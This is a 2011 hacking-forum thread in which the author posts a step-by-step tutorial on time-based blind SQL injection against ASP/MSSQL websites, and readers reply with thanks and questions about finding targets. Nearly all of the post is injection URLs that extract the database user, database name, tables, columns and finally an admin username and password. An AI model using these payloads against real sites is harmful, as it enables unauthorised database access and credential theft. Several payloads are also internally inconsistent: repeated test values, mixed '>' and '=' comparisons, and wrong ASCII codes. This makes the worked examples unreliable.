

# Forum:[Hack Forums](#)

Thread: [\[tut\]Basic blind Sql Injection using \(TIME DELAY\)](#)

Oxy - November 6, 2011, 2:23 pm

Blind sql Injection. (time delay)

For educational purposes only!

Hellow, HF users.

Since no one took the time and effort to make a decent time delay tutorial I'm doing it.

First of all what do you need.

A vulnerable only to blind sql injection .asp webstite.

Notepad, to store data you collect while injecting.

And loads of loads of spare time.

Finding vulnerable sites: --[Kobez expanding vulnerable collection guide!](#)--

The 2 kinds of time delay injection.

Integer injection:

Code `www.[site].com/index.asp?id=1; waitfor delay '00:00:10'`--So this line sais that satabase has to wait for 10 seconds before he responds.

If the database returns directly, we know its false.

If it waits 10 seconds its "true" obvious.

String injection:

Code `www.[site].com/index.asp?id=1'; waitfor delay '00:00:10'`--same thing here only the quote came whit it ' as in basic sqli when u have a string injection.

Extracting the database username.

Wel. we have alot of work to do.

we need to find all characters. lets start whit one:

Code `www.[site].com/index.asp?id=1; IF (len(user)=1) waitfor delay '00:00:10'`--Lets explain first. we ask: if (len(user)=1) so we ask is user has one character. waitfor delay '00:00:10' database needs to wait 10 seconds to respond. but we all know in most cases a user is not 1 char.

we will encrease (len(user)=1) to (len(user)=2) and so on and so on.

Code `www.[site].com/index.asp?id=1; IF (len(user)=1) waitfor delay '00:00:10'`-- [no Delay from db.]  
`www.[site].com/index.asp?id=1; IF (len(user)=2) waitfor delay '00:00:10'`-- [no delay from db.]  
`www.[site].com/index.asp?id=1; IF (len(user)=1) waitfor delay '00:00:10'`-- [no delay from db.]  
`www.[site].com/index.asp?id=1; IF (len(user)=1) waitfor delay '00:00:10'`-- [page waites 10 seconds before it loads.]

we have a hit. database just told us by waiting 10 seconds that user has 4 characters.

But what are the characters we seek? :/

Get characters with ascii and time delay.

As we have seen in my previous tutorial. we are going to use ascii. these will help us get the characters of the username.

97 in ascii is the letter A we will increase this count until we get a hit. for example 97 A, 98 B, 99 C, and so on.

how do we do this.

Code `www[site].com/index.asp?id=1; IF (ascii(lower(substring((user),1,1)))>97) waitfor delay '00:00:10'--what did i just say.`  
if ascii (character code) from user  
1,1 (this means 1st character) is 97 which is an A in ascii is correct. the database would wait 10 seconds before the page loads.

We need 4 character so the 1,1 needs to be increased. if we want the second character we need to do 2,1.

first character:

Code `www[site].com/index.asp?id=1; IF (ascii(lower(substring((user),1,1)))>97) waitfor delay '00:00:10'-- [no delay]`  
`www[site].com/index.asp?id=1; IF (ascii(lower(substring((user),1,1)))>98) waitfor delay '00:00:10'-- [no delay]`  
`www[site].com/index.asp?id=1; IF (ascii(lower(substring((user),1,1)))>99) waitfor delay '00:00:10'-- [no delay]`  
`www[site].com/index.asp?id=1; IF (ascii(lower(substring((user),1,1)))>100) waitfor delay '00:00:10'-- [no delay]`  
`www[site].com/index.asp?id=1; IF (ascii(lower(substring((user),1,1)))>101) waitfor delay '00:00:10'-- [10 second delay]`  
the first character is a E. how do i know this:  
at 97 i had no delay which means its not an A  
at 98 i had none either  
not at 99, not at 100  
but i did have a 10 second delay at 101. and 101 is E in ascii char code.

We need 4 more characters.

Code `www[site].com/index.asp?id=1; IF (ascii(lower(substring((user),2,1)))>97) waitfor delay '00:00:10'-- [no delay]`  
`www[site].com/index.asp?id=1; IF (ascii(lower(substring((user),2,1)))>98) waitfor delay '00:00:10'-- [no delay]`  
`www[site].com/index.asp?id=1; IF (ascii(lower(substring((user),2,1)))>99) waitfor delay '00:00:10'-- [10 second delay]`  
second character is a C  
look closely at what changed at the code. instead of 1,1 it is 2,1 because i wanted to know the second character of user.

Third character:

Code `www[site].com/index.asp?id=1; IF (ascii(lower(substring((user),3,1)))>97) waitfor delay '00:00:10'-- [no delay]`  
`www[site].com/index.asp?id=1; IF (ascii(lower(substring((user),3,1)))>98) waitfor delay '00:00:10'-- [no delay]`  
`www[site].com/index.asp?id=1; IF (ascii(lower(substring((user),3,1)))>99) waitfor delay '00:00:10'--`

[no delay]  
www[site].com/index.asp?id=1; IF (ascii(lower(substring((user),3,1)))>100) waitfor delay '00:00:10'--  
[no delay]  
www[site].com/index.asp?id=1; IF (ascii(lower(substring((user),3,1)))>101) waitfor delay '00:00:10'--  
[no delay]  
www[site].com/index.asp?id=1; IF (ascii(lower(substring((user),3,1)))>102) waitfor delay '00:00:10'--  
[10 second delay]  
Third is an F yet again watch the code i changed 2,1 in 3,1.

fourth  
Code www[site].com/index.asp?id=1; IF (ascii(lower(substring((user),4,1)))>97) waitfor delay '00:00:10'-- [no delay]  
www[site].com/index.asp?id=1; IF (ascii(lower(substring((user),4,1)))>98) waitfor delay '00:00:10'--  
[no delay]  
www[site].com/index.asp?id=1; IF (ascii(lower(substring((user),4,1)))>99) waitfor delay '00:00:10'--  
[no delay]  
www[site].com/index.asp?id=1; IF (ascii(lower(substring((user),4,1)))>100) waitfor delay '00:00:10'--  
[no delay]  
www[site].com/index.asp?id=1; IF (ascii(lower(substring((user),4,1)))>101) waitfor delay '00:00:10'--  
[no delay]  
www[site].com/index.asp?id=1; IF (ascii(lower(substring((user),4,1)))>102) waitfor delay '00:00:10'--  
[10 second delay]  
fourth character is yet again an F.

we now have the four characters i needed:  
ECFF = user.

What a hell of a job for 4 characters...  
No, no we are not finished yet.

Extracting the db name.  
Same as before database wants us to have a hell of a job, its a bitch.  
now lets hope that god damn administrator likes short names (THEY DONT)

we need to know how many characters the db name hase. not much difference.  
Code www[site].com/index.asp?id=1; if (len(db\_name())=1) WAITFOR DELAY '00:00:10'-- [no delay]  
i said database: does db\_name have only one character? database said no my admin hates that.  
so we need to run down the whole thing again. changing the =1 into =2, =3 and so on.  
untill he waites 10 seconds.

Code www[site].com/index.asp?id=1; if (len(db\_name())=3) WAITFOR DELAY '00:00:10'-- [10 second delay]  
our db name has 3 characters (in real cases they will probably end up in 8 or 10 characters.  
but this is a tutorial. i wont type a milion characters. if you did not get it by now XD sorry for you.

first character.  
Code www[site].com/index.asp?id=1; IF (ascii(lower(substring((db\_name),1,1)))>97) waitfor delay '00:00:10'-- [no delay]  
www[site].com/index.asp?id=1; IF (ascii(lower(substring((db\_name),1,1)))>98) waitfor delay '00:00:10'-- [no delay]  
www[site].com/index.asp?id=1; IF (ascii(lower(substring((db\_name),1,1)))>99) waitfor delay '00:00:10'-- [10 second delay]

first character is C

```
Code www[site].com/index.asp?id=1; IF (ascii(lower(substring((db_name),2,1)))>97) waitfor delay
'00:00:10'-- [no delay]
www[site].com/index.asp?id=1; IF (ascii(lower(substring((db_name),2,1)))>98) waitfor delay
'00:00:10'-- [no delay]
www[site].com/index.asp?id=1; IF (ascii(lower(substring((db_name),2,1)))>99) waitfor delay
'00:00:10'-- [no delay]
www[site].com/index.asp?id=1; IF (ascii(lower(substring((db_name),2,1)))>100) waitfor delay
'00:00:10'-- [no delay]
www[site].com/index.asp?id=1; IF (ascii(lower(substring((db_name),2,1)))>101) waitfor delay
'00:00:10'-- [10 second delay]
second character is an E watch the limit again 1,1 changed to 2,1.
```

```
Code www[site].com/index.asp?id=1; IF (ascii(lower(substring((db_name),3,1)))>97) waitfor delay
'00:00:10'-- [no delay]
www[site].com/index.asp?id=1; IF (ascii(lower(substring((db_name),3,1)))>98) waitfor delay
'00:00:10'-- [no delay]
www[site].com/index.asp?id=1; IF (ascii(lower(substring((db_name),3,1)))>99) waitfor delay
'00:00:10'-- [no delay]
www[site].com/index.asp?id=1; IF (ascii(lower(substring((db_name),3,1)))>100) waitfor delay
'00:00:10'-- [no delay]
www[site].com/index.asp?id=1; IF (ascii(lower(substring((db_name),3,1)))>101) waitfor delay
'00:00:10'-- [10 second delay]
last letter is another E
db_name = CEE
```

Extracting database tables  
the principal remains the same.  
IT IS EASY. but if you want to go out door once in a while.  
avoid blind sql..

we need to know how mutch characters it hase ans we need to know what characters it has.  
by now you should know the drill.

This one has 5 characters.

```
Code www[site].com/index.asp?id=1; if (len(select top 1 name from sysobjects where xtype='U')=5)
waitfor delay'00:00:10'--[10 second delay]
we need to know the characters.
```

Code First is an U.

```
http://[site]/page.asp?id=1; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects
where xtype=char(85)),1,1)))=117) WAITFOR DELAY '00:00:10'-- (+10 seconds)
```

second an S.

```
http://[site]/page.asp?id=1; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects
where xtype=char(85)),2,1)))=115) WAITFOR DELAY '00:00:10'-- (+10 seconds)
```

Third an E.

```
http://[site]/page.asp?id=1; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects
where xtype=char(85)),3,1)))=101) WAITFOR DELAY '00:00:10'-- (+10 seconds)
```

Fourth an R.

`http://[site]/page.asp?id=1; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),4,1)))=114) WAITFOR DELAY '00:00:10'-- (+10 seconds)`

Fifth an S.

`http://[site]/page.asp?id=1; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),5,1)))=115) WAITFOR DELAY '00:00:10'-- (+10 seconds)`

Table name is USERS.

Extracting table column names.

how many characters does this column have. we know how it works ppl.

Code `www.[site].com/index.asp?id=1; IF (len(select top 1 column_name from CEE.information_schema.columns where table_name='USERS')=8) waitfor delay '00:00:10'-- [10 second delay]`ok here we say we select the column name from database (thats the name we had at start DB\_NAME) this one is CEE. we select this out of the table users we had above this part. It has 8 characters.

now we need the characters to create the name.

Code First letter is U

`www.[site].com/index.asp?id=1;; IF (ASCII(lower(substring((SELECT TOP 1 column_name from CEE.information_schema.columns where table_name='USERS'),1,1)))=117) WAITFOR DELAY '00:00:10'--`

second letter is an S.

`www.[site].com/index.asp?id=1; IF (ASCII(lower(substring((SELECT TOP 1 column_name from CEE.information_schema.columns where table_name='USERS'),2,1)))=115) WAITFOR DELAY '00:00:10'--`

third letter is an E.

`www.[site].com/index.asp?id=1; IF (ASCII(lower(substring((SELECT TOP 1 column_name from CEE.information_schema.columns where table_name='USERS'),3,1)))=101) WAITFOR DELAY '00:00:10'--`

Fourth letter is an R.

`www.[site].com/index.asp?id=1; IF (ASCII(lower(substring((SELECT TOP 1 column_name from CEE.information_schema.columns where table_name='USERS'),4,1)))=114) WAITFOR DELAY '00:00:10'--`

fifth letter is an n.

`www.[site].com/index.asp?id=1; IF (ASCII(lower(substring((SELECT TOP 1 column_name from CEE.information_schema.columns where table_name='USERS'),5,1)))=110) WAITFOR DELAY '00:00:10'--`

second letter is an a.

`www.[site].com/index.asp?id=1; IF (ASCII(lower(substring((SELECT TOP 1 column_name from CEE.information_schema.columns where table_name='USERS'),6,1)))=97) WAITFOR DELAY '00:00:10'--`

second letter is an m.

`www.[site].com/index.asp?id=1; IF (ASCII(lower(substring((SELECT TOP 1 column_name from CEE.information_schema.columns where table_name='USERS'),7,1)))=111) WAITFOR DELAY '00:00:10'--`

second letter is an e.

`www.[site].com/index.asp?id=1; IF (ASCII(lower(substring((SELECT TOP 1 column_name from CEE.information_schema.columns where table_name='USERS'),8,1)))=101) WAITFOR DELAY '00:00:10'--`  
column name is username.

Now we need to extract the others. in some cases you could have up to 10.  
lets say i only have 2 username and pass to keep it easy.

the second column name has 4 characters.

Code `www.[site].com/index.asp?id=1; IF (LEN(SELECT TOP 1 column_name from CEE.information_schema.columns where table_name='USERS' and column_name>'USER')=4) WAITFOR DELAY '00:00:10'--`

the characters:

Code first letter is P.

`www.[site].com/index.asp?id=1; IF (ASCII(lower(substring((SELECT TOP 1 column_name from CEE.information_schema.columns where table_name='USERS' and column_name>'username'),1,1)))=112) WAITFOR DELAY '00:00:10'--`

Second letter is A.

`www.[site].com/index.asp?id=1; IF (ASCII(lower(substring((SELECT TOP 1 column_name from CEE.information_schema.columns where table_name='USERS' and column_name>'username'),2,1)))=97) WAITFOR DELAY '00:00:10'--`

third letter is S.

`www.[site].com/index.asp?id=1; IF (ASCII(lower(substring((SELECT TOP 1 column_name from CEE.information_schema.columns where table_name='USERS' and column_name>'username'),3,1)))=115) WAITFOR DELAY '00:00:10'--`

forth letter is S.

`www.[site].com/index.asp?id=1; IF (ASCII(lower(substring((SELECT TOP 1 column_name from CEE.information_schema.columns where table_name='USERS' and column_name>'username'),4,1)))=115) WAITFOR DELAY '00:00:10'--`

so we now have the column pass.

looks like we finally get somewhere.

we have column username and pass! yay.

but not yet there not yet.

Extracting rows from columns.

extracting from column username.

count of characters: 5

Code `www.[site].com/index.asp?id=1; IF (LEN(SELECT TOP 1 username from USERS)=5) WAITFOR DELAY '00:00:10'--` what do we do here? we select whats in the column username from table users.

we need to extract the characters now:

Code first letter is A.

`www.[site].com/index.asp?id=1; IF (ASCII(substring((SELECT TOP 1 username from USERS),1,1))=97) WAITFOR DELAY '00:00:10'--`

Second letter is D.

```
www.[site].com/index.asp?id=1; IF (ASCII(substring((SELECT TOP 1 username from  
USERS),2,1))=100) WAITFOR DELAY '00:00:10'--
```

third letter is M.

```
www.[site].com/index.asp?id=1; IF (ASCII(substring((SELECT TOP 1 username from  
USERS),3,1))=109) WAITFOR DELAY '00:00:10'--
```

fourth letter is l.

```
www.[site].com/index.asp?id=1; IF (ASCII(substring((SELECT TOP 1 username from  
USERS),4,1))=105) WAITFOR DELAY '00:00:10'--
```

Fifth letter is N.

```
www.[site].com/index.asp?id=1; IF (ASCII(substring((SELECT TOP 1 username from  
USERS),5,1))=110) WAITFOR DELAY '00:00:10'--
```

We now have the name admin. (the one we need.)

extracting from column pass.

```
Code www.[site].com/index.asp?id=1; IF (LEN(SELECT TOP 1 pass from USERS)=5) WAITFOR  
DELAY '00:00:10'--
```

we need to extract the characters now:

Code first letter is e.

```
www.[site].com/index.asp?id=1; IF (ASCII(substring((SELECT TOP 1 pass from  
USERS),1,1))=101) WAITFOR DELAY '00:00:10'--
```

Second letter is f.

```
www.[site].com/index.asp?id=1; IF (ASCII(substring((SELECT TOP 1 pass from  
USERS),2,1))=102) WAITFOR DELAY '00:00:10'--
```

third letter is f.

```
www.[site].com/index.asp?id=1; IF (ASCII(substring((SELECT TOP 1 pass from  
USERS),3,1))=102) WAITFOR DELAY '00:00:10'--
```

fourth letter is e.

```
www.[site].com/index.asp?id=1; IF (ASCII(substring((SELECT TOP 1 pass from  
USERS),4,1))=101) WAITFOR DELAY '00:00:10'--
```

Fifth letter is c.

```
www.[site].com/index.asp?id=1; IF (ASCII(substring((SELECT TOP 1 pass from USERS),5,1))=99)  
WAITFOR DELAY '00:00:10'--
```

pass= effec

Now we have username: admin and his pass effec.

have fun, see ya in about an hour or 5 when you finish :D

Sorry for the bad english!

and i hope you enjoyed my tutorial. grtz real steel!

**stdape2011** - November 6, 2011, 2:31 pm

Damn that is a lot to go through !! lol. All i need now is some blind sql sites lol

**Oxy** - November 6, 2011, 2:34 pm

(Nov 6, 2011 03:31 PM)stdape2011 Wrote: [\[CITE\]](#) Damn that is a lot to go through !! lol. All i need now is some blind sql sites lol  
hehe took me ages to write this one.  
i made one on basic blind sqli (the normal one)  
now i did time delay.  
this is time consuming..

**stdape2011** - November 6, 2011, 2:37 pm

oh whats link for the basic one i must have missed it

**Oxy** - November 6, 2011, 2:38 pm

(Nov 6, 2011 03:37 PM)stdape2011 Wrote: [\[CITE\]](#) oh whats link for the basic one i must have missed it

<https://hackforums.net/showthread.php?tid=1894724>

here you go ^^

**stdape2011** - November 6, 2011, 2:41 pm

Cheers will print them out, be easier to follow.

**veghead** - November 6, 2011, 2:43 pm

Thanks that's a really nice tutorial, must have taken a while to write up.

**kobez** - November 6, 2011, 2:49 pm

great tutorial yet again Heat, quality student ! ;D

**Oxy** - November 6, 2011, 3:56 pm

(Nov 6, 2011 03:49 PM)kobez Wrote: [\[CITE\]](#) great tutorial yet again Heat, quality student ! ;D  
thanks obi-one always means lots to me if you say its gud :D  
i have to thank lost of this stuff to you so ^^

**Little\_Miss\_Baca** - November 6, 2011, 11:37 pm

Thank you for taking the time to compile this tutorial, HeatControll

**T-rom** - November 7, 2011, 6:58 pm

really good explanation :) Was looking for this :P  
Thank's for the help and GREAT tut.

HQ for sure.

**webb** - November 9, 2011, 6:08 am

Very great tutorial HeatControll have a good explanation :)  
Thanks for share

**noober1001** - November 9, 2011, 10:58 am

Thank you so much bro for this.  
But I don't use this method at all, its very messy for me.

**Nexus** - May 27, 2012, 8:16 am

Great tutorial m8, Very long but great  
:)

**guardian\_1** - *March 4, 2013, 4:31 pm*

i am having the hardest time with this. Everytime i search for a site and put in the command "; waitfor delay '00:00:10'-- " i either get a sql error, database error or the page just reloads ha. If anyone can help me out that would be awesome! thanks!